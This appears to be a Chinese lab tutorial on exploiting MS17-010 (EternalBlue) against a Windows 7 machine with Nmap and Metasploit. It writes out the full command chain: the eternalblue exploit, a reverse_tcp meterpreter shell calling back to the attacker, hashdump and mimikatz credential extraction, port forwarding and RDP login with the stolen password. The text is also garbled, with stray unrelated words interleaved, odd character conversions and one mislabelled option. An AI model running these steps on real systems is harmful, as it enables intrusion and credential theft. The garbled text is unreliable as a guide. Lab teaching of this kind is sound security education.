操做機 :Kali 2017
shell
操做機IP:172.16.11.2
windows
目標機:Windows 7
框架
目標機IP:172.16.12.2
tcp
認知Windows遠程溢出漏洞的危害ide
知悉MS17-010漏洞的發現和驗證過程函數
學習Metasploit工具的進階使用工具
Nmap
:端口掃描探測工具,用於探測端口開放狀況,本次使用其端口掃描和漏洞掃描功能學習
mestasploit
:開源的滲透測試框架軟件、綜合型漏洞利用工具,本次實驗使用其漏洞利用模塊、meterpreter組件測試
漏洞原理簡述ui
MS17-010漏洞出如今Windows SMB v1中的內核態函數srv!SrvOs2FeaListToNt
在處理FEA
(File Extended Attributes)轉換時,在大非分頁池(Large Non-Paged Kernel Pool)上存在緩衝區溢出。
函數srv!SrvOs2FeaListToNt
在將FEA
list轉換成NTFEA
(Windows NT FEA) list前會調用srv!SrvOs2FeaListSizeToNt
去計算轉換後的FEA lsit的大小,因計算大小錯誤,而致使緩衝區溢出。
曾經NSA工具箱泄露時,咱們已經對永恆之藍這個工具的使用作過講解!【NSA黑客工具包】Windows 0day驗證明驗。
然而,該工具的使用環境比較苛刻,並且操做較爲複雜,如今msf已經加入該系列工具,使用方法更便捷。接下來,就開始操做吧!
打開Kali終端,使用Nmap對目標機開放端口進行掃描
nmap -sV -Pn 172.16.12.2
目標機開放了135
139
445
3389
等端口,且目標機系統爲Windows7,
咱們使用用掃描模塊,判斷該漏洞是否可利用
還記得ms08-067的nmap掃描腳本嗎?MSF也有掃描模塊~
終端內輸入
msfconsole
打開 metasploite
命令行客戶端,使用search
命令查找ms17-010漏洞的相關模塊
search ms17-010
以下是相關可用模塊
使用use
命令選擇咱們要使用的掃描模塊
use auxiliary/scanner/smb/smb_ms17_010
在運行該模塊以前,須要設置相關選項,咱們使用show options
查看配置信息
須要設置目標地址,設置命令:
set RHOSTS 172.16.12.2
設置完成後,執行run
或exploit
命令,等待執行結果
從上一步驟能夠看出,該漏洞是可被利用的,接下來,咱們祭出漏洞利用模塊
use exploit/windows/smb/ms17_010_eternalblue
步驟同上,查看配置信息,並設置標記爲yes的屬性
show options
目標機host地址:172.16.12.2
set RHOST 172.16.12.2
注意此處爲RHOST,與掃描時的RHOSTS不同
以後,選擇載荷payload
,也就是shellcode
,此處咱們選擇回連至控制端shell
的payload
set payload windows/x64/meterpreter/reverse_tcp
一樣,載荷也須要進行配置,show options
查看配置信息
配置中缺乏本地主機 RHOST,設置一下
set LHOST 172.16.11.2
本地端口LPORT默認爲4444,可經過
set LPORT 端口號
修改
完成配置後,運行exploit
或者run
,開始執行漏洞利用模塊
成功獲取來自目標主機的Session會話
咱們已經成功的獲取Session會話了,本次咱們繼續介紹meterpreter後滲透模塊的其餘功能
運行sysinfo
查看目標機器相關信息
執行help
命令能夠幫助咱們瞭解meterpreter有哪些功能
接下來,咱們獲取目標機hash值
執行hashdump
mimikatz
是一個知名的密碼提取神器。它支持從Windows系統內存中提取明文密碼、哈希、PIN碼和Kerberos憑證等,meterpreter
中正集成了這款工具。
執行load mimikatz
便可加載該工具,其命令與mimikatz
同樣
運行命令msv
,導出hash
而後執行kerberos
便可得到目標機帳號密碼
獲取了目標機的帳號密碼,咱們結合nmap的掃描結果,能夠遠程登錄目標機 可是現實中,防火牆通常會攔截外來3389端口的訪問請求,這種狀況下該怎麼解決呢?
咱們可使用端口轉發工具,將端口轉發到訪問者本地機器的某個端口,從而進行鏈接
運行命令
portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 172.16.12.2
此處,咱們將遠程目標的3389端口,轉發到本機 172.16.11.2的3389上
本地端口號可設置爲其餘未監聽的端口
如此,咱們只要執行
rdesktop 127.0.0.1 -u ichunqiu -p ichunqiu
便可登錄遠程目標機器
經過本次實驗,咱們熟悉了從發現漏洞、到驗證漏洞、再到利用漏洞這一過程,並進一步學習了Metasploit的後滲透模塊的其餘使用案例。